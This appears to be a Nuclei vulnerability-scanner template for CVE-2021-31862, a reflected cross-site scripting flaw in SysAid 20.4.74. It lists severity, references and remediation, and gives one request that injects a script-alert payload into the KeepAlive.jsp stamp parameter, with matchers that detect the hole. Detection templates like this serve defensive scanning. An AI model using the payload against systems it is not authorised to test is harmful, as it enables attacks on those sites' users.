id: CVE-2021-31862 info: name: SysAid 20.4.74 - Cross-Site Scripting author: jas37 severity: medium description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter. remediation: | Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability. reference: - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md - https://www.sysaid.com/product/on-premise/latest-release - https://nvd.nist.gov/vuln/detail/CVE-2021-31862 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-31862 cwe-id: CWE-79 epss-score: 0.00141 epss-percentile: 0.4962 cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:* metadata: max-request: 1 vendor: sysaid product: sysaid tags: cve,cve2021,xss,sysaid http: - method: GET path: - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E' matchers: - type: dsl dsl: - '(body == "false ")' - 'status_code == 200' condition: and # digest: 490a0046304402203d9ff9fc9829b0401e708a343733eb388e0ceb107c3a179520aa64acef26c1a2022055eae30ae70fd27e7576e3552d45666f9fe741d5571852e071bfb7291801cb28:922c64590222798bb761d5b6d8e72950